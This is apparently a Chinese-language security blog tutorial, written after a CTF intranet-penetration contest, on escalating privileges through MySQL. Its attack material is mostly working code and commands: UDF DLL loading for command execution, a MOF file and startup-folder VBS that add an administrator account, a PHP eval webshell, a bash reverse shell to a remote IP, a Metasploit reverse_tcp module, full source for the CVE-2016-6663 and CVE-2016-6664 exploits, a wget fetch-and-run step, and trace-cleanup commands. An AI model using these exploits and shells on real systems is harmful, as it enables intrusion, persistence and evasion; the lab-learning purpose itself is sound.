言
前兩天參加了省賽的內(nèi)網(wǎng)滲透,在拿到webshell后發(fā)現(xiàn)是一個(gè)站庫分離,通過信息搜集得到了數(shù)據(jù)庫的賬號(hào)密碼,但是是一個(gè)www-data權(quán)限,執(zhí)行不了代理的命令,這時(shí)候就需要提權(quán)到root權(quán)限才能夠執(zhí)行命令,最后還沒有通過udf提權(quán),而是通過/tmp這個(gè)目錄能夠修改權(quán)限,改為777權(quán)限后使用的代理。因?yàn)閘inux打得比較少,我們隊(duì)在這個(gè)地方卡了很久,導(dǎo)致只打到了第一層網(wǎng)絡(luò),第二層內(nèi)網(wǎng)就沒有時(shí)間去打,所以補(bǔ)一下關(guān)于mysql的提權(quán)知識(shí)。
UDF是mysql的一個(gè)拓展接口,UDF(Userdefined function)可翻譯為用戶自定義函數(shù),這個(gè)是用來拓展Mysql的技術(shù)手段。
使用過MySQL的人都知道,MySQL有很多內(nèi)置函數(shù)提供給使用者,包括字符串函數(shù)、數(shù)值函數(shù)、日期和時(shí)間函數(shù)等,給開發(fā)人員和使用者帶來了很多方便。MySQL的內(nèi)置函數(shù)雖然豐富,但畢竟不能滿足所有人的需要,有時(shí)候我們需要對(duì)表中的數(shù)據(jù)進(jìn)行一些處理而內(nèi)置函數(shù)不能滿足需要的時(shí)候,就需要對(duì)MySQL進(jìn)行一些擴(kuò)展,幸運(yùn)的是,MySQL給使用者提供了添加新函數(shù)的機(jī)制,這種使用者自行添加的MySQL函數(shù)就稱為UDF(User Define Function)。其實(shí)除了UDF外,使用者還可以將函數(shù)添加為MySQL的固有(內(nèi)建)函數(shù),固有函數(shù)被編譯進(jìn)mysqld服務(wù)器中,稱為永久可用的,不過這種方式較添加UDF復(fù)雜,升級(jí)維護(hù)都較為麻煩,這里我們不做討論。無論你使用哪種方法去添加新函數(shù),它們都可以被SQL聲明調(diào)用,就像 ABS()或SUM()這樣的固有函數(shù)一樣。
1.知道數(shù)據(jù)庫的用戶和密碼;2.mysql可以遠(yuǎn)程登錄;3.mysql有寫入文件的權(quán)限,即secure_file_priv的值為空。
關(guān)于第一點(diǎn)就不用多說了,可以通過拿到webshell之后翻閱文件得到,對(duì)于不同情況下有不同得獲取方式,這里不再贅述;主要提一下第二三點(diǎn)。
在默認(rèn)情況下,mysql只允許本地登錄,我們知道可以通過navicat去連接數(shù)據(jù)庫(在知道帳號(hào)密碼的情況下),但是如果只允許本地登錄的情況下,即使知道賬號(hào)密碼的情況下也不能夠連接上mysql數(shù)據(jù)庫,那么在這種情況下就只有通過拿到本機(jī)的高權(quán)限r(nóng)dp登陸遠(yuǎn)程桌面后連接。
遠(yuǎn)程連接對(duì)應(yīng)的設(shè)置在mysql目錄下的/etc/mysql/my.conf文件,對(duì)應(yīng)的設(shè)置為bind-address = 127.0.0.1這一行,這是默認(rèn)情況下的設(shè)置,如果我們要允許在任何主機(jī)上面都能夠遠(yuǎn)程登錄mysql的話,就只要把bind-address改成0.0.0.0即可,即bind-address = 0.0.0.0
光更改配置文件還不夠,還需要給遠(yuǎn)程登陸的用戶賦予權(quán)限,首先新建一個(gè)admin/123456用戶,使用%來允許任意ip登錄mysql,這樣我們就能夠通過navicat使用admin/123456用戶遠(yuǎn)程連接到數(shù)據(jù)庫
grant all on *.* to admin@'%' identified by '123456' with grant option;
flush privileges;
關(guān)于第三點(diǎn)的secure_file_priv參數(shù),這里有三個(gè)值,分別為NULL、/tmp、空,NULL顧名思義即不允許導(dǎo)入或?qū)С觯敲丛谶@種情況下就不能使用sql語句向數(shù)據(jù)庫內(nèi)寫入任何語句,/tmp的意思是只能在/tmp目錄下寫入文件,這種情況下就需要考慮寫入文件到文件夾后能否在網(wǎng)頁上訪問連接到這個(gè)目錄,如果這個(gè)值為空,那么就可以通過構(gòu)造sql語句向mysql數(shù)據(jù)庫下的任何目錄寫入文件。
這里還有一個(gè)需要了解的點(diǎn)就是在mysql5.5版本之前secure_file_priv這個(gè)值是默認(rèn)為空的,那么我們拿到的webshell如果對(duì)應(yīng)的mysql數(shù)據(jù)庫版本在5.5以下的話操作起來就比較方便,在mysql5.5版本之后secure_file_priv這個(gè)值是默認(rèn)為NULL的,即不能夠往數(shù)據(jù)庫內(nèi)寫入文件。
首先這里現(xiàn)在官網(wǎng)下載一個(gè)mysql,這里我下載的是5.5.19,注意這里需要下msi文件,不要下zip文件
下載好后進(jìn)行安裝即可
這里使用utf-8字符集
安裝好后使用mysql -u root -p進(jìn)入mysql
因?yàn)槲沂?.5.19版本,必須把 UDF 的動(dòng)態(tài)鏈接庫文件放置于 MySQL 安裝目錄下的 lib\plugin 文件夾下文件夾下才能創(chuàng)建自定義函數(shù)。這里說到了動(dòng)態(tài)鏈接庫,動(dòng)態(tài)鏈接庫就是實(shí)現(xiàn)共享函數(shù)庫概念的一種方式,在windows環(huán)境下后綴名為.dll,在linnux環(huán)境下后綴名為.so
那么這里利用.dll或.so文件在哪里去找呢?這兩個(gè)文件在sqlmap和msf里面都有內(nèi)置
首先在sqlmap里面找一下,在sqlmap里面對(duì)應(yīng)的目錄地址為udf/mysql,這里進(jìn)入目錄后可以看到sqlmap已經(jīng)幫我們分好類了
不過 sqlmap 中 自帶這些動(dòng)態(tài)鏈接庫為了防止被誤殺都經(jīng)過編碼處理過,不能被直接使用。這里如果后綴名為.so_或dll_的話,就需要解碼,如果后綴名為.so或.dll的話就不需要解碼即可直接使用。這里sqlmap也自帶了解碼的py腳本,在/extra/cloak目錄下,使用cloak.py解密即可。
命令如下(這里使用到64位的dll,其他版本改后綴名即可)
python3 cloak.py -d -i lib_mysqludf_sys.dll_ -o lib_mysqludf_sys_64.dll
這里好像因?yàn)槲冶緳C(jī)的環(huán)境配置的問題這里py3沒有執(zhí)行成功,這里換到kali環(huán)境里面使用py2解密
python2 cloak.py -d -i lib_mysqludf_sys.dll_ -o lib_mysqludf_sys_64.dll
另外可以用msf提供的動(dòng)態(tài)鏈接庫文件,這里注意msf里面的動(dòng)態(tài)鏈接庫是已經(jīng)解密好了的可以直接使用,msf下的動(dòng)態(tài)鏈接庫目錄如下
/usr/share/metasploit-framework/data/exploits/mysql/
直接拿出來使用010 editor進(jìn)行查看是包含了一些函數(shù)
解密過程完成之后就需要把解密得到的UDF動(dòng)態(tài)鏈接庫文件放到mysql的插件目錄下,這里使用如下命令查詢插件目錄的位置
show variables like "%plugin%";
這里可以看到我的插件目錄就是C:\Program Files\MySQL\MySQL Server 5.5\lib/plugin
使用select @@basedir查看一下MySQL安裝的位置
這里因?yàn)橹粏为?dú)安裝了一個(gè)MySQL,沒有安裝其他的web,所以為了更好的還原環(huán)境,這里使用phpstudy來搭建環(huán)境,這里假設(shè)我已經(jīng)拿到了一個(gè)目標(biāo)機(jī)器的webshell,但是這里權(quán)限很低,使用到udf提權(quán)
首先來到MySQL/lib文件夾下,這里可以看到是沒有plugin這個(gè)文件夾的,所以這里需要我們先創(chuàng)建一個(gè)文件夾
創(chuàng)建plugin文件夾
然后把解密過后的lib_mysqludf_sys_64.dll放到plugin文件夾下
這里為了方便我把dll改名為udf.dll,但是這里報(bào)錯(cuò)ERROR 1126,這里我百度過后發(fā)現(xiàn)這個(gè)dll并不是跟系統(tǒng)位數(shù)有關(guān)的,而是跟mysql版本有關(guān)系,而且phpstudy自帶的mysql版本需要用32位的dll才能夠操作
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';
這里我上傳一個(gè)32位的dll到plugin文件夾內(nèi)
再使用命令創(chuàng)建自定義函數(shù)即可
然后使用命令查看是否新增了sys_eval函數(shù)
select * from mysql.func;
可以看到這里創(chuàng)建成功那么就可以執(zhí)行系統(tǒng)命令,到這里就是一個(gè)高權(quán)限了,而且如果有disable_functions把函數(shù)禁用了,用udf提權(quán)也是能夠操作的
這里可以使用寫好的大馬udf.php來自動(dòng)提權(quán),我們測(cè)試一下
首先把php上傳到可以網(wǎng)頁訪問的位置,這里我直接連接報(bào)錯(cuò)了應(yīng)該是因?yàn)闆]有設(shè)置可以外連,只允許本地連接,首先實(shí)驗(yàn)一下允許外聯(lián)的情況
這里進(jìn)入my.ini文件設(shè)置bind-address = 0.0.0.0
然后創(chuàng)建一個(gè)admin/123456用戶允許外連
再次登錄即可登錄成功
這里首先dump udf.dll到plugin文件夾下,這里可以看到dump dll成功
然后創(chuàng)建函數(shù),再執(zhí)行命令即可
這里我們?cè)侔?/span>bind-address = 0.0.0.0這行注釋掉之后進(jìn)行試驗(yàn),因?yàn)椴辉试S外連,那么只有本地連接數(shù)據(jù)庫,這時(shí)候很容易想到正向連接我們代理進(jìn)去連接數(shù)據(jù)庫。這里使用reg、ew都可以,但是這里因?yàn)槭莔ysql的原因,使用navicat自帶的tunnel腳本會(huì)更加方便。
首先測(cè)試一下,是不允許外連的(這里圖搞錯(cuò)了)
這里上傳nutunnel_mysql.php到靶機(jī)上訪問,這里看到已經(jīng)連接成功了
然后連接的時(shí)候設(shè)置HTTP隧道
即可連接到mysql,然后提權(quán)操作同前
mof是windows系統(tǒng)的一個(gè)文件(在c:/windows/system32/wbem/mof/nullevt.mof)叫做"托管對(duì)象格式"其作用是每隔五秒就會(huì)去監(jiān)控進(jìn)程創(chuàng)建和死亡。其就是用又了mysql的root權(quán)限了以后,然后使用root權(quán)限去執(zhí)行我們上傳的mof。隔了一定時(shí)間以后這個(gè)mof就會(huì)被執(zhí)行,這個(gè)mof當(dāng)中有一段是vbs腳本,這個(gè)vbs大多數(shù)的是cmd的添加管理員用戶的命令。
這里我沒有安裝2003的虛擬機(jī),所以就不放圖了,寫一下提權(quán)的步驟
生成testmod.mod文件并上傳到靶機(jī)的可寫目錄
#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user test test123 /add\")\nWSH.run(\"net.exe localgroup administrators test /add\")";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};
進(jìn)入mysql命令行執(zhí)行導(dǎo)入命令,導(dǎo)入完成過后系統(tǒng)會(huì)自動(dòng)運(yùn)行
select load_file("nullevt.mof") into dumpfile "c:/windows/system32/wbem/mof/nullevt.mof"
使用net user命令即可發(fā)現(xiàn)已經(jīng)加入了管理員組
msf內(nèi)置了MOF提權(quán)模塊,相比于手動(dòng)提權(quán)的好處就是msf的MOF模塊有自動(dòng)清理痕跡的功能
use exploit/windows/mysql/mysql_mof
set payload windows/meterpreter/reverse_tcp
set rhosts 192.168.10.17
set username root
set password root
run
因?yàn)槊扛魩追昼姇r(shí)間又會(huì)重新執(zhí)行添加用戶的命令,所以想要清理痕跡得先暫時(shí)關(guān)閉 winmgmt 服務(wù)再刪除相關(guān) mof 文件,這個(gè)時(shí)候再刪除用戶才會(huì)有效果
# 停止 winmgmt 服務(wù)
net stop winmgmt
# 刪除 Repository 文件夾
rmdir /s /q C:\Windows\system32\wbem\Repository\
# 手動(dòng)刪除 mof 文件
del C:\Windows\system32\wbem\mof\good\test.mof /F /S
# 刪除創(chuàng)建的用戶
net user hacker /delete
# 重新啟動(dòng)服務(wù)
net start winmgmt
windows開機(jī)時(shí)候都會(huì)有一些開機(jī)啟動(dòng)的程序,那時(shí)候啟動(dòng)的程序權(quán)限都是system,因?yàn)槭莝ystem把他們啟動(dòng)的,利用這點(diǎn),我們可以將自動(dòng)化腳本寫入啟動(dòng)項(xiàng),達(dá)到提權(quán)的目的。當(dāng) Windows 的啟動(dòng)項(xiàng)可以被 MySQL 寫入的時(shí)候可以使用 MySQL 將自定義腳本導(dǎo)入到啟動(dòng)項(xiàng)中,這個(gè)腳本會(huì)在用戶登錄、開機(jī)、關(guān)機(jī)的時(shí)候自動(dòng)運(yùn)行。
這個(gè)地方既然碰到了啟動(dòng)項(xiàng)提權(quán),就總結(jié)一下不限于mysql的啟動(dòng)項(xiàng)提權(quán)方法。
在windows2003的系統(tǒng)下,啟動(dòng)項(xiàng)路徑如下:
C:\Documents and Settings\Administrator\「開始」菜單\程序\啟動(dòng)
C:\Documents and Settings\All Users\「開始」菜單\程序\啟動(dòng)
在windows2008的系統(tǒng)下,啟動(dòng)項(xiàng)路徑如下:
C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup
我們?cè)谀玫揭粋€(gè)網(wǎng)站的webshell的時(shí)候如果想進(jìn)一步的獲得網(wǎng)站的服務(wù)器權(quán)限,查看服務(wù)器上系統(tǒng)盤的可讀可寫目錄,若是啟動(dòng)目錄 “C:\Users\用戶名\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup” 是可讀可寫的,我們就可以執(zhí)行上傳一個(gè)vbs或者bat的腳本進(jìn)行提權(quán)。
這里使用test.vbs添加用戶密碼,上傳到啟動(dòng)目錄重啟的時(shí)候即可自動(dòng)添加賬號(hào)密碼
set wshshell=createobject("wscript.shell")
a=wshshell.run("cmd.exe /c net user test test123 /add",0)
b=wshshell.run("cmd.exe /c net localgroup administrators test /add",0)
連接到mysql之后創(chuàng)建一個(gè)表寫入sql語句
use mysql;
create table test(cmd text);
insert into a values(“set wshshell=createobject(“”wscript.shell””)”);
insert into a values(“a=wshshell.run(“”cmd.exe /c net user test test123 /add“”,0)”);
insert into a values(“b=wshshell.run(“”cmd.exe /c net localgroup administrators test /add“”,0)”);
select * from a into outfile “C:\Documents and Settings\All Users\「開始」菜單\程序\啟動(dòng)\secist.vbs”;
重啟之后即可提權(quán)
CVE-2016-6663是競(jìng)爭條件(race condition)漏洞,它能夠讓一個(gè)低權(quán)限賬號(hào)(擁有CREATE/INSERT/SELECT權(quán)限)提升權(quán)限并且以系統(tǒng)用戶身份執(zhí)行任意代碼。也就是說,我們可以通過他得到一整個(gè)mysql的權(quán)限。
CVE-2016-6664是root權(quán)限提升漏洞,這個(gè)漏洞可以讓擁有MySQL系統(tǒng)用戶權(quán)限的攻擊者提升權(quán)限至root,以便進(jìn)一步攻擊整個(gè)系統(tǒng)。
導(dǎo)致這個(gè)問題的原因其實(shí)是因?yàn)镸ySQL對(duì)錯(cuò)誤日志以及其他文件的處理不夠安全,這些文件可以被替換成任意的系統(tǒng)文件,從而被利用來獲取root權(quán)限。可以看到,兩個(gè)cve分別是用來將低權(quán)限的www-data權(quán)限提升為mysql權(quán)限,然后再將mysql提升為root權(quán)限。
CVE-2016-6663
CVE-2016-6664
這里使用到tutum/lamp的鏡像環(huán)境,運(yùn)行docker并連接
docker pull tutum/lamp
docker run -d -P tutum/lamp
docker ps
docker exec -it b9 /bin/bash
安裝apt,wget,gcc,libmysqlclient-dev
apt update
apt install -y wget gcc libmysqlclient-dev
寫入一個(gè)一句話木馬方便后續(xù)連接,這里注意,linux環(huán)境下用echo命令寫入木馬需要加' '進(jìn)行轉(zhuǎn)義,否則會(huì)報(bào)錯(cuò)
cd /var/html
echo '<?php @eval($_POST['hacker']); ?>' > shell.php
給web路徑賦予777權(quán)限
chmod -R 777 /var/www/html
進(jìn)入mysql環(huán)境添加一個(gè)對(duì)test庫有create,drop,insert,select權(quán)限的test用戶,密碼為123456
將apache2和mysql服務(wù)重啟并重新保存容器,將新容器的80端口映射到8080端口,3306映射到3306端口的方式運(yùn)行容器。
service restart apache2
service restart mysql
ocker commit c0ae81326db0 test/lamp
docker run -d -p 8080:80 -p 3306:3306 test/lamp
訪問一下8080端口若出現(xiàn)如下界面則環(huán)境搭建成功
cve-2016-6663即將www-data權(quán)限提升為mysql權(quán)限,首先連接我們之前寫入的webshell
首先看一下權(quán)限跟目錄的可執(zhí)行狀況,可以看到html目錄下是777
然后寫入exp,命名為mysql-privesc-race.c,exp如下所示
#include <fcntl.h>
#include <grp.h>
#include <mysql.h>
#include <pwd.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/inotify.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <time.h>
#include <unistd.h>
#define EXP_PATH "/tmp/mysql_privesc_exploit"
#define EXP_DIRN "mysql_privesc_exploit"
#define MYSQL_TAB_FILE EXP_PATH "/exploit_table.MYD"
#define MYSQL_TEMP_FILE EXP_PATH "/exploit_table.TMD"
#define SUID_SHELL EXP_PATH "/mysql_suid_shell.MYD"
#define MAX_DELAY 1000 // can be used in the race to adjust the timing if necessary
MYSQL *conn; // DB handles
MYSQL_RES *res;
MYSQL_ROW row;
unsigned long cnt;
void intro() {
printf(
"\033[94m\n"
"MySQL/Percona/MariaDB - Privilege Escalation / Race Condition PoC Exploit\n"
"mysql-privesc-race.c (ver. 1.0)\n\n"
"CVE-2016-6663 / CVE-2016-5616\n\n"
"For testing purposes only. Do no harm.\n\n"
"Discovered/Coded by:\n\n"
"Dawid Golunski \n"
"http://legalhackers.com"
"\033[0m\n\n");
}
void usage(char *argv0) {
intro();
printf("Usage:\n\n%s user pass db_host database\n\n", argv0);
}
void mysql_cmd(char *sql_cmd, int silent) {
if (!silent) {
printf("%s \n", sql_cmd);
}
if (mysql_query(conn, sql_cmd)) {
fprintf(stderr, "%s\n", mysql_error(conn));
exit(1);
}
res = mysql_store_result(conn);
if (res>0) mysql_free_result(res);
}
int main(int argc,char **argv)
{
int randomnum = 0;
int io_notified = 0;
int myd_handle;
int wpid;
int is_shell_suid=0;
pid_t pid;
int status;
struct stat st;
/* io notify */
int fd;
int ret;
char buf[4096] __attribute__((aligned(8)));
int num_read;
struct inotify_event *event;
/* credentials */
char *user = argv[1];
char *password = argv[2];
char *db_host = argv[3];
char *database = argv[4];
// Disable buffering of stdout
setvbuf(stdout, NULL, _IONBF, 0);
// Get the params
if (argc!=5) {
usage(argv[0]);
exit(1);
}
intro();
// Show initial privileges
printf("\n[+] Starting the exploit as: \n");
system("id");
// Connect to the database server with provided credentials
printf("\n[+] Connecting to the database `%s` as %s@%s\n", database, user, db_host);
conn = mysql_init(NULL);
if (!mysql_real_connect(conn, db_host, user, password, database, 0, NULL, 0)) {
fprintf(stderr, "%s\n", mysql_error(conn));
exit(1);
}
// Prepare tmp dir
printf("\n[+] Creating exploit temp directory %s\n", "/tmp/" EXP_DIRN);
umask(000);
system("rm -rf /tmp/" EXP_DIRN " && mkdir /tmp/" EXP_DIRN);
system("chmod g+s /tmp/" EXP_DIRN );
// Prepare exploit tables :)
printf("\n[+] Creating mysql tables \n\n");
mysql_cmd("DROP TABLE IF EXISTS exploit_table", 0);
mysql_cmd("DROP TABLE IF EXISTS mysql_suid_shell", 0);
mysql_cmd("CREATE TABLE exploit_table (txt varchar(50)) engine = 'MyISAM' data directory '" EXP_PATH "'", 0);
mysql_cmd("CREATE TABLE mysql_suid_shell (txt varchar(50)) engine = 'MyISAM' data directory '" EXP_PATH "'", 0);
// Copy /bin/bash into the mysql_suid_shell.MYD mysql table file
// The file should be owned by mysql:attacker thanks to the sticky bit on the table directory
printf("\n[+] Copying bash into the mysql_suid_shell table.\n After the exploitation the following file/table will be assigned SUID and executable bits : \n");
system("cp /bin/bash " SUID_SHELL);
system("ls -l " SUID_SHELL);
// Use inotify to get the timing right
fd = inotify_init();
if (fd < 0) {
printf("failed to inotify_init\n");
return -1;
}
ret = inotify_add_watch(fd, EXP_PATH, IN_CREATE | IN_CLOSE);
/* Race loop until the mysql_suid_shell.MYD table file gets assigned SUID+exec perms */
printf("\n[+] Entering the race loop... Hang in there...\n");
while ( is_shell_suid != 1 ) {
cnt++;
if ( (cnt % 100) == 0 ) {
printf("->");
//fflush(stdout);
}
/* Create empty file , remove if already exists */
unlink(MYSQL_TEMP_FILE);
unlink(MYSQL_TAB_FILE);
mysql_cmd("DROP TABLE IF EXISTS exploit_table", 1);
mysql_cmd("CREATE TABLE exploit_table (txt varchar(50)) engine = 'MyISAM' data directory '" EXP_PATH "'", 1);
/* random num if needed */
srand ( time(NULL) );
randomnum = ( rand() % MAX_DELAY );
// Fork, to run the query asynchronously and have time to replace table file (MYD) with a symlink
pid = fork();
if (pid < 0) {
fprintf(stderr, "Fork failed :(\n");
}
/* Child process - executes REPAIR TABLE SQL statement */
if (pid == 0) {
usleep(500);
unlink(MYSQL_TEMP_FILE);
mysql_cmd("REPAIR TABLE exploit_table EXTENDED", 1);
// child stops here
exit(0);
}
/* Parent process - aims to replace the temp .tmd table with a symlink before chmod */
if (pid > 0 ) {
io_notified = 0;
while (1) {
int processed = 0;
ret = read(fd, buf, sizeof(buf));
if (ret < 0) {
break;
}
while (processed < ret) {
event = (struct inotify_event *)(buf + processed);
if (event->mask & IN_CLOSE) {
if (!strcmp(event->name, "exploit_table.TMD")) {
//usleep(randomnum);
// Set the .MYD permissions to suid+exec before they get copied to the .TMD file
unlink(MYSQL_TAB_FILE);
myd_handle = open(MYSQL_TAB_FILE, O_CREAT, 0777);
close(myd_handle);
chmod(MYSQL_TAB_FILE, 04777);
// Replace the temp .TMD file with a symlink to the target sh binary to get suid+exec
unlink(MYSQL_TEMP_FILE);
symlink(SUID_SHELL, MYSQL_TEMP_FILE);
io_notified=1;
}
}
processed += sizeof(struct inotify_event);
}
if (io_notified) {
break;
}
}
waitpid(pid, &status, 0);
}
// Check if SUID bit was set at the end of this attempt
if ( lstat(SUID_SHELL, &st) == 0 ) {
if (st.st_mode & S_ISUID) {
is_shell_suid = 1;
}
}
}
printf("\n\n[+] \033[94mBingo! Race won (took %lu tries) !\033[0m Check out the \033[94mmysql SUID shell\033[0m: \n\n", cnt);
system("ls -l " SUID_SHELL);
printf("\n[+] Spawning the \033[94mmysql SUID shell\033[0m now... \n Remember that from there you can gain \033[1;31mroot\033[0m with vuln \033[1;31mCVE-2016-6662\033[0m or \033[1;31mCVE-2016-6664\033[0m :)\n\n");
system(SUID_SHELL " -p -i ");
//system(SUID_SHELL " -p -c '/bin/bash -i -p'");
/* close MySQL connection and exit */
printf("\n[+] Job done. Exiting\n\n");
mysql_close(conn);
return 0;
}
這里我直接用蟻劍執(zhí)行的話執(zhí)行不了
使用nc配合bash命令反彈后執(zhí)行命令,即可從www-data權(quán)限提升到mysql權(quán)限
nc -lvvp 7777
/bin/bash -i >& /dev/tcp/192.168.2.161/7777 0>&1
cd var/www/html/
gcc mysql-privesc-race.c -o mysql-privesc-race -I/usr/include/mysql -lmysqlclient
./mysql-privesc-race test 123456 localhost test
cve-2016-6664即把mysql權(quán)限提升到root權(quán)限
tutum/lamp日志方式不是默認(rèn)的基于文件的日志,而是syslog,所以我們首先要將它改為默認(rèn)配置
vi /etc/mysql/conf.d/mysqld_safe_syslog.cnf
刪除掉syslog,然后重啟mysql
使用exp
#!/bin/bash -p
#
# MySQL / MariaDB / PerconaDB - Root Privilege Escalation PoC Exploit
# mysql-chowned.sh (ver. 1.0)
#
# CVE-2016-6664 / OCVE-2016-5617
#
# Discovered and coded by:
#
# Dawid Golunski
# dawid[at]legalhackers.com
#
# https://legalhackers.com
#
# Follow https://twitter.com/dawid_golunski for updates on this advisory.
#
# This PoC exploit allows attackers to (instantly) escalate their privileges
# from mysql system account to root through unsafe error log handling.
# The exploit requires that file-based logging has been configured (default).
# To confirm that syslog logging has not been enabled instead use:
# grep -r syslog /etc/mysql
# which should return no results.
#
# This exploit can be chained with the following vulnerability:
# CVE-2016-6663 / OCVE-2016-5616
# which allows attackers to gain access to mysql system account (mysql shell).
#
# In case database server has been configured with syslog you may also use:
# CVE-2016-6662 as an alternative to this exploit.
#
# Usage:
# ./mysql-chowned.sh path_to_error.log
#
#
# See the full advisory for details at:
# https://legalhackers.com/advisories/MySQL-Maria-Percona-RootPrivEsc-CVE-2016-6664-5617-Exploit.html
#
# Video PoC:
# https://legalhackers.com/videos/MySQL-MariaDB-PerconaDB-PrivEsc-Race-CVE-2016-6663-5616-6664-5617-Exploits.html
#
# Disclaimer:
# For testing purposes only. Do no harm.
#
BACKDOORSH="/bin/bash"
BACKDOORPATH="/tmp/mysqlrootsh"
PRIVESCLIB="/tmp/privesclib.so"
PRIVESCSRC="/tmp/privesclib.c"
SUIDBIN="/usr/bin/sudo"
function cleanexit {
# Cleanup
echo -e "\n[+] Cleaning up..."
rm -f $PRIVESCSRC
rm -f $PRIVESCLIB
rm -f $ERRORLOG
touch $ERRORLOG
if [ -f /etc/ld.so.preload ]; then
echo -n > /etc/ld.so.preload
fi
echo -e "\n[+] Job done. Exiting with code $1 \n"
exit $1
}
function ctrl_c() {
echo -e "\n[+] Active exploitation aborted. Remember you can use -deferred switch for deferred exploitation."
cleanexit 0
}
#intro
echo -e "\033[94m \nMySQL / MariaDB / PerconaDB - Root Privilege Escalation PoC Exploit \nmysql-chowned.sh (ver. 1.0)\n\nCVE-2016-6664 / OCVE-2016-5617\n"
echo -e "Discovered and coded by: \n\nDawid Golunski \nhttp://legalhackers.com \033[0m"
# Args
if [ $# -lt 1 ]; then
echo -e "\n[!] Exploit usage: \n\n$0 path_to_error.log \n"
echo -e "It seems that this server uses: `ps aux | grep mysql | awk -F'log-error=' '{ print $2 }' | cut -d' ' -f1 | grep '/'`\n"
exit 3
fi
# Priv check
echo -e "\n[+] Starting the exploit as \n\033[94m`id`\033[0m"
id | grep -q mysql
if [ $? -ne 0 ]; then
echo -e "\n[!] You need to execute the exploit as mysql user! Exiting.\n"
exit 3
fi
# Set target paths
ERRORLOG="$1"
if [ ! -f $ERRORLOG ]; then
echo -e "\n[!] The specified MySQL catalina.out log ($ERRORLOG) doesn't exist. Try again.\n"
exit 3
fi
echo -e "\n[+] Target MySQL log file set to $ERRORLOG"
# [ Active exploitation ]
trap ctrl_c INT
# Compile privesc preload library
echo -e "\n[+] Compiling the privesc shared library ($PRIVESCSRC)"
cat <<_solibeof_>$PRIVESCSRC
#define _GNU_SOURCE
#include <stdio.h>
#include <sys/stat.h>
#include <unistd.h>
#include <dlfcn.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
uid_t geteuid(void) {
static uid_t (*old_geteuid)();
old_geteuid = dlsym(RTLD_NEXT, "geteuid");
if ( old_geteuid() == 0 ) {
chown("$BACKDOORPATH", 0, 0);
chmod("$BACKDOORPATH", 04777);
//unlink("/etc/ld.so.preload");
}
return old_geteuid();
}
_solibeof_
/bin/bash -c "gcc -Wall -fPIC -shared -o $PRIVESCLIB $PRIVESCSRC -ldl"
if [ $? -ne 0 ]; then
echo -e "\n[!] Failed to compile the privesc lib $PRIVESCSRC."
cleanexit 2;
fi
# Prepare backdoor shell
cp $BACKDOORSH $BACKDOORPATH
echo -e "\n[+] Backdoor/low-priv shell installed at: \n`ls -l $BACKDOORPATH`"
# Safety check
if [ -f /etc/ld.so.preload ]; then
echo -e "\n[!] /etc/ld.so.preload already exists. Exiting for safety."
exit 2
fi
# Symlink the log file to /etc
rm -f $ERRORLOG && ln -s /etc/ld.so.preload $ERRORLOG
if [ $? -ne 0 ]; then
echo -e "\n[!] Couldn't remove the $ERRORLOG file or create a symlink."
cleanexit 3
fi
echo -e "\n[+] Symlink created at: \n`ls -l $ERRORLOG`"
# Wait for MySQL to re-open the logs
echo -ne "\n[+] Waiting for MySQL to re-open the logs/MySQL service restart...\n"
read -p "Do you want to kill mysqld process to instantly get root? :) ? [y/n] " THE_ANSWER
if [ "$THE_ANSWER" = "y" ]; then
echo -e "Got it. Executing 'killall mysqld' now..."
killall mysqld
fi
while :; do
sleep 0.1
if [ -f /etc/ld.so.preload ]; then
echo $PRIVESCLIB > /etc/ld.so.preload
rm -f $ERRORLOG
break;
fi
done
# /etc/ dir should be owned by mysql user at this point
# Inject the privesc.so shared library to escalate privileges
echo $PRIVESCLIB > /etc/ld.so.preload
echo -e "\n[+] MySQL restarted. The /etc/ld.so.preload file got created with mysql privileges: \n`ls -l /etc/ld.so.preload`"
echo -e "\n[+] Adding $PRIVESCLIB shared lib to /etc/ld.so.preload"
echo -e "\n[+] The /etc/ld.so.preload file now contains: \n`cat /etc/ld.so.preload`"
chmod 755 /etc/ld.so.preload
# Escalating privileges via the SUID binary (e.g. /usr/bin/sudo)
echo -e "\n[+] Escalating privileges via the $SUIDBIN SUID binary to get root!"
sudo 2>/dev/null >/dev/null
#while :; do
# sleep 0.1
# ps aux | grep mysqld | grep -q 'log-error'
# if [ $? -eq 0 ]; then
# break;
# fi
#done
# Check for the rootshell
ls -l $BACKDOORPATH
ls -l $BACKDOORPATH | grep rws | grep -q root
if [ $? -eq 0 ]; then
echo -e "\n[+] Rootshell got assigned root SUID perms at: \n`ls -l $BACKDOORPATH`"
echo -e "\n\033[94mGot root! The database server has been ch-OWNED !\033[0m"
else
echo -e "\n[!] Failed to get root"
cleanexit 2
fi
# Execute the rootshell
echo -e "\n[+] Spawning the rootshell $BACKDOORPATH now! \n"
$BACKDOORPATH -p -c "rm -f /etc/ld.so.preload; rm -f $PRIVESCLIB"
$BACKDOORPATH -p
# Job done.
cleanexit 0
在剛才mysql權(quán)限的shell中下載提權(quán)腳本并執(zhí)行,即可得到root權(quán)限
wget http://legalhackers.com/exploits/CVE-2016-6664/mysql-chowned.sh
chmod 777 mysql-chowned.sh
./mysql-chowned.sh /var/log/mysql/error.log
點(diǎn)擊鏈接開始實(shí)驗(yàn):實(shí)驗(yàn):MySQL提權(quán)(合天網(wǎng)安實(shí)驗(yàn)室)
